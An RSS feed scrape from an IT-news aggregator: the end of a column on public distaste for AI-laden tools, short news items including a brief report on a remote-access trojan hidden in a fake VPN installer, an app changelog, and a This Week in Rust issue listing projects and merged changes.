<p>More and more research is starting to reflect that yearning for practical, useful tech tools that aren’t larded down with AI for the sake of AI. A <a href="https://wpvip.com/resources/reports/future-of-the-web-2026/" target="_blank" rel="noreferrer noopener">recent study</a> by Automattic (the behind WordPress) found 60% of people say AI in a brand’s messaging is more of a turnoff than a feature. My own smaller (and much less scientific, though also more specifically focused) <a href="https://theintelligence.com/43250/how-do-you-feel-about-ai-results-appearing-in-regular-web-searches/" target="_blank" rel="noreferrer noopener">poll</a> of folks who read <a href="https://theintelligence.com/android-cw/" target="_blank" rel="noreferrer noopener">my Android Intelligence newsletter</a> found that only 9% of Android-owning animals said they generally loved the presence of AI results in regular web searches — with 26% outright hating it and 64% saying it depends on the situation but that they at least sometimes find it to be more annoying than useful.</p>



<p>So as company after company crams AI into everything and startup after startup jumps on that same steamy bandwagon, the question in my mind is less about what the next big advancement in AI will bring into our lives and more about what interesting opportunities the <em>lack</em> of AI — or at least the ability to limit its influence on a productivity experience and decide for yourself how and when <em>you </em><a href="https://www.computerworld.com/article/4007736/gemini-android.html">actually want to use it</a> — will create.</p>



<p>It’s easy to imagine a scenario in which services like Kagi and DuckDuckGo start to offer AI-free or even just AI-optional alternatives to apps that are being overrun with irritating and countereffective AI integrations — things like Docs, Notion, Slack, and any number of <a href="https://www.computerworld.com/article/4155960/the-top-priority-for-adobes-next-ceo-prepping-for-the-age-of-agents.html">design tools</a>. And it’s equally easy to imagine plenty of people and places being enticed by that <em>lack </em>of AI as a premium feature worth paying to experience.</p>



<p>It may inevitably remain a relatively niche market compared to the more mainstream tech solutions. But for people and organizations woefully underwhelmed with the current direction tech’s taking and willing to shell out cash for quality, it’s an intriguing notion — and an area well worth watching as the AI invasion continues crashing into every last corner of our virtual lives.</p>



<p><em>Sick of AI for the sake of AI? Check out </em><a href="https://www.theintelligence.com/android-cw/" target="_blank" rel="noreferrer noopener"><strong><em>my free weekly Android Intelligence newsletter</em></strong></a><strong><em> </em></strong><em>for original human thinking and actually-helpful ways to make the most of your devices.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Windows 95 detected installers by looking for magic words and hoping for the best]]></title>
<description><![CDATA[If your name's not on the list, you're... probably not a setup program]]></description>
<link>https://tsecurity.de/de/3656477/it-nachrichten/windows-95-detected-installers-by-looking-for-magic-words-and-hoping-for-the-best/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3656477/it-nachrichten/windows-95-detected-installers-by-looking-for-magic-words-and-hoping-for-the-best/</guid>
<pubDate>Thu, 09 Jul 2026 11:16:47 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[If your name's not on the list, you're... probably not a setup program]]></content:encoded>
</item>
<item>
<title><![CDATA[GoodPersonRAT Uses Fake LetsVPN Installer to Give Attackers Full Remote Control]]></title>
<description><![CDATA[A fake installer for a popular Chinese VPN service is quietly handing full remote control of infected computers to unknown attackers. The malicious file poses as a setup tool for LetsVPN, a tool many users in China rely on to bypass strict internet blocks. Instead of just installing the VPN, it a...]]></description>
<link>https://tsecurity.de/de/3656447/it-security-nachrichten/goodpersonrat-uses-fake-letsvpn-installer-to-give-attackers-full-remote-control/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3656447/it-security-nachrichten/goodpersonrat-uses-fake-letsvpn-installer-to-give-attackers-full-remote-control/</guid>
<pubDate>Thu, 09 Jul 2026 11:08:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A fake installer for a popular Chinese VPN service is quietly handing full remote control of infected computers to unknown attackers. The malicious file poses as a setup tool for LetsVPN, a tool many users in China rely on to bypass strict internet blocks. Instead of just installing the VPN, it also drops a hidden […]</p>
<p>The post <a href="https://cybersecuritynews.com/goodpersonrat-uses-fake-letsvpn-installer/">GoodPersonRAT Uses Fake LetsVPN Installer to Give Attackers Full Remote Control</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[I overhauled my WFH office - these 5 gadgets made the cut (including a cheap cord wrangler)]]></title>
<description><![CDATA[After moving and obtaining a new health diagnosis, I made a few changes to my WFH setup. Here's what changed (and why).]]></description>
<link>https://tsecurity.de/de/3656443/it-security-nachrichten/i-overhauled-my-wfh-office-these-5-gadgets-made-the-cut-including-a-cheap-cord-wrangler/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3656443/it-security-nachrichten/i-overhauled-my-wfh-office-these-5-gadgets-made-the-cut-including-a-cheap-cord-wrangler/</guid>
<pubDate>Thu, 09 Jul 2026 11:08:08 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[After moving and obtaining a new health diagnosis, I made a few changes to my WFH setup. Here's what changed (and why).]]></content:encoded>
</item>
<item>
<title><![CDATA[v1.17.16]]></title>
<description><![CDATA[Core
Bugfixes

Exposed reasoning effort variants for Grok models.
Improved xAI prompt cache routing and PDF file support in Responses models.

Desktop
Improvements

Added an Open containing folder action for projects on the home screen.
Added a composer add menu for files, commands, context, and ...]]></description>
<link>https://tsecurity.de/de/3656180/downloads/v11716/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3656180/downloads/v11716/</guid>
<pubDate>Thu, 09 Jul 2026 09:01:32 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Core</h2>
<h3>Bugfixes</h3>
<ul>
<li>Exposed reasoning effort variants for Grok models.</li>
<li>Improved xAI prompt cache routing and PDF file support in Responses models.</li>
</ul>
<h2>Desktop</h2>
<h3>Improvements</h3>
<ul>
<li>Added an Open containing folder action for projects on the home screen.</li>
<li>Added a composer add menu for files, commands, context, and shell mode without losing draft text.</li>
<li>Added a provider setup tip on new sessions when no external providers are connected.</li>
<li>Remember review panel mode and selected file per session.</li>
<li>Added inline file browser tabs for opening and previewing files from the side panel.</li>
<li>Updated desktop translations.</li>
</ul>
<h3>Bugfixes</h3>
<ul>
<li>Kept the review pane usable on wide screens by reserving its minimum width.</li>
<li>Fixed hidden session panes staying mounted and causing side-panel glitches.</li>
<li>Routed legacy drafts back to the session page.</li>
<li>Loaded full review diffs for large patches when the initial diff is capped.</li>
<li>Removed the first-open flash in the command palette.</li>
<li>Routed the new session shortcut through tabs in the new layout.</li>
<li>Kept session routes inside the correct layout when opening legacy session URLs.</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[This Week In Rust: This Week in Rust 659]]></title>
<description><![CDATA[Hello and welcome to another issue of This Week in Rust!
Rust is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
@thisweekinrust.bsky.social on Bluesky or
@ThisWeekinRu...]]></description>
<link>https://tsecurity.de/de/3656000/tools/this-week-in-rust-this-week-in-rust-659/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3656000/tools/this-week-in-rust-this-week-in-rust-659/</guid>
<pubDate>Thu, 09 Jul 2026 07:08:34 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hello and welcome to another issue of <em>This Week in Rust</em>!
<a href="https://www.rust-lang.org/">Rust</a> is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
<a href="https://bsky.app/profile/thisweekinrust.bsky.social">@thisweekinrust.bsky.social</a> on Bluesky or
<a href="https://mastodon.social/@thisweekinrust">@ThisWeekinRust</a> on mastodon.social, or
<a href="https://github.com/rust-lang/this-week-in-rust">send us a pull request</a>.
Want to get involved? <a href="https://github.com/rust-lang/rust/blob/main/CONTRIBUTING.md">We love contributions</a>.</p>
<p><em>This Week in Rust</em> is openly developed <a href="https://github.com/rust-lang/this-week-in-rust">on GitHub</a> and archives can be viewed at <a href="https://this-week-in-rust.org/">this-week-in-rust.org</a>.
If you find any errors in this week's issue, <a href="https://github.com/rust-lang/this-week-in-rust/pulls">please submit a PR</a>.</p>
<p>Want TWIR in your inbox? <a href="https://this-week-in-rust.us11.list-manage.com/subscribe?u=fd84c1c757e02889a9b08d289&amp;id=0ed8b72485">Subscribe here</a>.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-rust-community">Updates from Rust Community</a></h4>


<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#official">Official</a></h5>
<ul>
<li><a href="https://blog.rust-lang.org/inside-rust/2026/07/07/maintainer-spotlight-gen-li-rami3l/">Maintainer spotlight: Gen Li (@rami3l)</a></li>
<li><a href="https://blog.rust-lang.org/inside-rust/2026/07/06/unite-for-clippy/">Together for a healthier Clippy</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#newsletters">Newsletters</a></h5>
<ul>
<li><a href="https://www.theembeddedrustacean.com/p/the-embedded-rustacean-issue-75">The Embedded Rustacean Issue #75</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#projecttooling-updates">Project/Tooling Updates</a></h5>
<ul>
<li><a href="https://www.copper-robotics.com/whats-new/copper-rs-v100">copper-rs v1.0.0</a>: the open source deterministic robotics OS is now stable.</li>
<li><a href="https://rayfish.xyz/blog/01-introducing-rayfish">Rayfish: Your own private network. No servers, no setup.</a></li>
<li><a href="https://plabayo.tech/blog/rama-0-3">rama v0.3.0 — network service framework ready to be used by the wider Rust community</a></li>
<li><a href="https://github.com/kunobi-ninja/kache/releases/tag/v0.9.0">kache 0.9.0: supply-chain hardening + read-only CI cache</a></li>
<li><a href="https://www.willsearch.com.br/blog/2026/07/04/meet-guardiandbs-new-postgresql-compatibility-layer/">GuardianDB - PostgreSQL and P2P/Local-First Together</a></li>
<li><a href="https://buildnectar.com/">Nectar: a Rust-like language that compiles your whole web app to WebAssembly</a></li>
<li><a href="https://thekeeper.io/blog/logdrain-log-template-mining-in-rust/">logdrain: Fast, Embeddable Log-Template Mining in Rust</a></li>
<li><a href="https://medium.com/@vbasky/packaging-the-worlds-video-in-pure-rust-ff1f6b884fec">sheathe: Packaging the World's Video in Pure Rust</a></li>
<li><a href="https://docs.wickra.org/Quickstart-Rust">wickra: streaming-first technical indicators</a></li>
<li><a href="https://github.com/TeamXcelerator/xcelerator-solver/releases/tag/v0.1.0">Xcelerator Solver v0.1.0 -- deterministic symbolic regression</a></li>
<li><a href="https://github.com/tkmsikd/dlt-tui/releases/tag/v1.1.0">dlt-tui 1.1.0 - a fast TUI viewer for automotive DLT (AUTOSAR Diagnostic Log and Trace) files</a></li>
<li><a href="https://github.com/shihuili1218/rssh/releases/tag/v0.2.11">RSSH v0.2.11 — terminal workflows, safer SSH key import, and observable AI ops</a></li>
<li><a href="https://blog.none.at/blog/2026/2026-07-06-k8s-scale-app-rs/">k8s-scale-app-rs: Scale or Restart a Kubernetes Deployment from a CronJob</a></li>
<li><a href="https://dev.to/sicklefire/m-vis-v050-rc1-update-11cp">M-vis v0.5.0-rc1 update</a></li>
<li><a href="https://ganeshsivakumar.substack.com/p/flaredb">FlareDB: An Apache Beam Native Streaming Database built in Rust</a></li>
<li><a href="https://holovskyi.github.io/blog/typed-mqtt-topics-for-rust/">mqtt-typed-client 0.2: a type-safe async MQTT client on rumqttc</a></li>
<li><a href="https://github.com/LeChatP/RootAsRole/releases/tag/v4.0.0">RootAsRole: v4.0.0 Major release, secure execution, new logo</a></li>
<li><a href="https://www.qt.io/blog/rust-ui-framework-via-bridging-technology">A Cross-Platform Rust UI Framework via Qt’s Bridging Technology</a></li>
<li><a href="https://rapha.land/jam-programming-language/">Jam Programming Language</a></li>
<li><a href="https://www.clever.cloud/blog/company/2026/07/01/sozu-2-1-0-udp-load-balancer-programmable-edge/">Sōzu 2.1.0: UDP load balancing for the programmable edge</a></li>
<li><a href="https://op3kay.dev/writing/b0nker">b0nker: a minimal container runtime written in Rust</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#observationsthoughts">Observations/Thoughts</a></h5>
<ul>
<li>[video] <a href="https://www.youtube.com/watch?v=SGR5qBdwk30">Rust Berlin Meetup 25/06/2026 Livestream</a></li>
<li>[video] <a href="https://www.youtube.com/live/_LtgHxuysUo">How do you rewrite C/C++ projects to Rust? – JetBrains interview with Luca Palmieri, Mainmatter</a></li>
<li><a href="https://kerkour.com/rustcrypto-slow-simd-rust">Investigating why RustCrypto is slow: Deep dive into SIMD instructions and hardware acceleration</a></li>
<li><a href="https://parsa.wtf/cast/">bool as u32</a></li>
<li><a href="https://arxiv.org/html/2605.30106">A Rust-to-Lean Verification Pipeline with AI Provers: An Experience Report</a></li>
<li><a href="https://blog.dureuill.net/articles/wip/">Work In Progress Rust</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=Fk165jYfHpc">OpenAI just spent $600k on Rust</a></li>
<li>[audio] <a href="https://corrode.dev/podcast/s06e07-rising-academies/">Rising Academies with Dylan Brown - Rust in Production Podcast</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-walkthroughs">Rust Walkthroughs</a></h5>
<ul>
<li>[series] <a href="https://aibodh.com/posts/bevy-tutorial-build-your-first-3d-editor-in-rust/">Bevy Tutorial: Build Your First 3D Editor - Create a 3D Space on an Infinite Grid</a></li>
<li><a href="https://blog.sheerluck.dev/posts/learn-axum-basics-and-routing-by-building-a-url-shortener/">Learn Axum Basics and Routing by Building a URL Shortener</a></li>
<li>[series] <a href="https://plabayo.tech/blog/rama-101-1-https-clients-and-abstractions">Rama 101.1: HTTPS clients and layers of abstraction</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#miscellaneous">Miscellaneous</a></h5>
<ul>
<li><a href="https://seanborg.tech/tiny-blog/rust-week-ven-diagram/">Clickable euler diagram of all the Rust week talks</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#crate-of-the-week">Crate of the Week</a></h4>
<p>This week's crate is <a href="https://crates.io/crates/apis-saltans-core">apis-saltans</a>, a Zigbee implementation including a coordinator API.</p>
<p>Thanks to <a href="https://users.rust-lang.org/t/crate-of-the-week/2704/1627">Richard Neumann</a> for the self-suggestion!</p>
<p><a href="https://users.rust-lang.org/t/crate-of-the-week/2704">Please submit your suggestions and votes for next week</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#calls-for-testing">Calls for Testing</a></h4>
<p>An important step for RFC implementation is for people to experiment with the
implementation and give feedback, especially before stabilization.</p>
<p>If you are a feature implementer and would like your RFC to appear in this list, add a
<code>call-for-testing</code> label to your RFC along with a comment providing testing instructions and/or
guidance on which aspect(s) of the feature need testing.</p>
<p><em>No calls for testing were issued this week by
<a href="https://github.com/rust-lang/rust/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rust</a>,
<a href="https://github.com/rust-lang/cargo/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/rustup/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rustup</a> or
<a href="https://github.com/rust-lang/rfcs/issues?q=label%3Acall-for-testing%20state%3Aopen">Rust language RFCs</a>.</em></p>
<p><a href="https://github.com/rust-lang/this-week-in-rust/issues">Let us know</a> if you would like your feature to be tracked as a part of this list.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#call-for-participation-projects-and-speakers">Call for Participation; projects and speakers</a></h4>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-projects">CFP - Projects</a></h5>
<p>Always wanted to contribute to open-source projects but did not know where to start?
Every week we highlight some tasks from the Rust community for you to pick and get started!</p>
<p>Some of these tasks may also have mentors available, visit the task page for more information.</p>

<p>* <a href="https://github.com/name970/Protocol/issues/4">Protocol - Extend bit-exactness tests to f64 reconstruction targets</a>                                                                          <br>
* <a href="https://github.com/lenra-io/dofigen/issues/278">Dofigen - No image tag replacement flag for the generate command</a></p>


<p>If you are a Rust project owner and are looking for contributors, please submit tasks <a href="https://github.com/rust-lang/this-week-in-rust?tab=readme-ov-file#call-for-participation-guidelines">here</a> or through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-events">CFP - Events</a></h5>
<p>Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.</p>



<p>If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-the-rust-project">Updates from the Rust Project</a></h4>
<p>598 pull requests were <a href="https://github.com/search?q=is%3Apr+org%3Arust-lang+is%3Amerged+merged%3A2026-06-30..2026-07-07">merged in the last week</a></p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler">Compiler</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/156976">enable eager <code>param_env</code> norm in new solver</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/156379">lint on <code>core::ffi::c_void</code> as a return type</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158577">polish some macro parsing code</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158604">resolve: no allocation in <code>resolve_ident_in(_local)_module_*</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158627">simplify option-iterator flattening in the compiler</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157857">stabilize <code>#[my_macro] mod foo;</code> (part of <code>proc_macro_hygiene</code>)</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#library">Library</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/158537">add <code>std::io::cursor::WriteThroughCursor</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157347">implement <code>Box::as_non_null()</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/156737">implement <code>DoubleEndedIterator::next_chunk_back</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/134021">implement <code>IntoIterator</code> for <code>[&amp;[mut]] Box&lt;[T; N], A&gt;</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158427">implement <code>ptr::{read,write}_unaligned</code> via <code>repr(packed)</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158539">move <code>SizeHint</code> and <code>IoHandle</code> to <code>core::io</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158540">move <code>std::io::Seek</code> to <code>core::io</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158704">optimize <code>ArrayChunks::try_rfold</code> with <code>DoubleEndedIterator::next_chunk_back</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158573">stabilize <code>feature(atomic_from_mut)</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cargo">Cargo</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/cargo/pull/17135"><code>bindeps</code>: register transitive artifact targets</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17167">avoid cloning parsed TOML manifest in <code>ManifestErrorContext</code></a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17176">avoid extra clone of parsed TOML manifest</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17178">remove unneeded cloning when parsing package index</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17169">change HashMaps and HashSets in Cargo to use Fxhasher</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17174">do not pass lint rustflags when <code>--cap-lints=allow</code> is set</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17164">fixed <code>Compilation::deps_output</code> only taking the last dep</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17177">pre-allocate a few vectors</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/16807">stabilize <code>build-dir</code> layout v2</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17180">use a set when checking visited workspace members</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rustdoc">Rustdoc</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/158751">fix crash when trying to inline foreign item which cannot have attributes</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158334">show use-site paths for unevaluated const array lengths</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#clippy">Clippy</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17319"><code>chunks_exact_to_as_chunks</code>: Don't report expressions with const parameters</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17360"><code>chunks_exact_to_as_chunks</code>: Don't report expressions with type params</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17309"><code>missing_trait_methods</code>: MSRV/unstable awareness</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17289"><code>vec_init_then_push</code>: don't lint pushes from a macro expansion</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17346"><code>inline_modules</code>: ignore <code>cfg(test)</code> modules in test builds</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17345"><code>match_same_arms</code>: keep arm-level expectations working under an outer allow</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17341"><code>unnecessary_operation</code>: avoid bad <code>!</code> suggestions</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17351"><code>unnecessary_unwrap_unchecked</code>: don't trigger inside the <code>_unchecked</code> fn</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17348">add required parentheses when the <code>needless_bool</code> suggestion is an operand</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17353">fix ICE when resolving local in <code>unnecessary_unwrap_unchecked</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17311">fix <code>infinite_loop</code> false positive inside gen blocks</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17358">fix <code>manual_c_str_literals</code> suggestion when the trailing backslash is escaped</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17337">fix <code>strlen_on_c_strings</code> incorrect suggestion logic</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17323">fix <code>suspicious_operation_groupings</code> duplications</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16902">lint bit width</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17338">optimize <code>Msrv::meets</code> calls</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17273">bail out of unicode lint scans when the snippet is pure ASCII</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17224">skip the HIR parent walk in <code>is_in_test_function</code> when there are no test items</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17366">place generated impl block after the existing impl block</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17333">refactor <code>StringAdd</code> lint pass</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17334">refactor <code>suspicious_xor_used_as_pow</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17293">remove <code>lower_ty</code> in <code>uninhabited_reference</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17328">respect the configured MSRV in <code>manual_is_variant_and</code>'s <code>map() == Some(_)</code> rewrite</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17332">rewrite <code>mut_mut</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17329">rewrite <code>redundant_else</code> as a late pass</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17354">rewrite <code>tuple_array_conversions</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-analyzer">Rust-Analyzer</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22595">SCIP: exclude leading/trailing trivia in definition ranges</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22708">SCIP: remove dead <code>inlay_hints</code> field</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22433"><code>feat(ide-diagnostics)</code>: add diagnostics for invalid union patterns (E0784)</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22704"><code>internal(query-group-macro)</code>: remove the arity test</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22668">add tree top method to Syntax node</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22665">add handler for E0627</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22231">supports multi arms for <code>replace_match_with_if_let</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22690">fix UB in <code>smol_str borsh_non_utf8</code> test cases</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/20362">fix generic param for <code>generate_default_from_enum_variant</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22703"><code>walkthrough_create_project</code> file not packaged</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22677">assertion failure on closure with unbound function</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22613">avoid panic in <code>convert_tuple_struct_to_named_struct</code> on nested pattern usage</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22649">configuration syntax for nvim-lsp</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22706">correct resolution to value when it shares the same name with type</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22619">exclude impls on the error type from impl enumeration</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22705">fix crash on <code>extract_variable</code> when selecting unresolved macro call</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22715">fix crash on completion inside macros</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22673">fix handling of params of coroutine fns</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22675">handle more cases of cfgs in expr store lowering</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22488">no generate with default assoc item</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22674">panics in <code>unwrap_return_type</code>, <code>remove_underscore</code>, and <code>promote_local_to_const</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22711">hoist attribute qualifier segment collection</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22709">reduce parser joint-token allocation</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22676">project-model: don't pass metadata extra args to sysroot</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22679">project-model: introduce cargo.configPath</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22581">provide startup time to ready log point and associated benchmark</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-compiler-performance-triage">Rust Compiler Performance Triage</a></h5>
<p>This week was dominated by wild swings in benchmarks of the new-solver, which is not enabled by default, yet.
Apart from that, we got a very few notable changes, only one unexpected speedup from a bugfix in rustdoc.</p>
<p>Triage done by <strong>@panstromek</strong>.
Revision range: <a href="https://perf.rust-lang.org/?start=7dc2c162b9c197aaa76a6f9e7534569537830a01&amp;end=3659db0d3e2cd634c766fcda79ed118eca31a9fd&amp;absolute=false&amp;stat=instructions%3Au">7dc2c162..3659db0d</a></p>
<p><strong>Summary</strong>:</p>
<table>
<thead>
<tr>
<th>(instructions:u)</th>
<th>mean</th>
<th>range</th>
<th>count</th>
</tr>
</thead>
<tbody>
<tr>
<td>Regressions ❌ <br> (primary)</td>
<td>0.2%</td>
<td>[0.2%, 0.2%]</td>
<td>3</td>
</tr>
<tr>
<td>Regressions ❌ <br> (secondary)</td>
<td>162.1%</td>
<td>[0.2%, 1116.3%]</td>
<td>20</td>
</tr>
<tr>
<td>Improvements ✅ <br> (primary)</td>
<td>-1.4%</td>
<td>[-8.4%, -0.1%]</td>
<td>7</td>
</tr>
<tr>
<td>Improvements ✅ <br> (secondary)</td>
<td>-1.1%</td>
<td>[-8.4%, -0.1%]</td>
<td>11</td>
</tr>
<tr>
<td>All ❌✅ (primary)</td>
<td>-0.9%</td>
<td>[-8.4%, 0.2%]</td>
<td>10</td>
</tr>
</tbody>
</table>
<p>1 Regression, 1 Improvement, 4 Mixed; 3 of them in rollups
17 artifact comparisons made in total</p>
<p><a href="https://github.com/rust-lang/rustc-perf/blob/9f1bc6e374b5ae202366df1cbef850b79be8c641/triage/2026/2026-07-06.md">Full report here</a></p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#approved-rfcs"></a><a href="https://github.com/rust-lang/rfcs/commits/master">Approved RFCs</a></h5>
<p>Changes to Rust follow the Rust <a href="https://github.com/rust-lang/rfcs#rust-rfcs">RFC (request for comments) process</a>. These
are the RFCs that were approved for implementation this week:</p>
<ul>
<li><em>No RFCs were approved this week.</em></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#final-comment-period">Final Comment Period</a></h5>
<p>Every week, <a href="https://www.rust-lang.org/team.html">the team</a> announces the 'final comment period' for RFCs and key PRs
which are reaching a decision. Express your opinions now.</p>
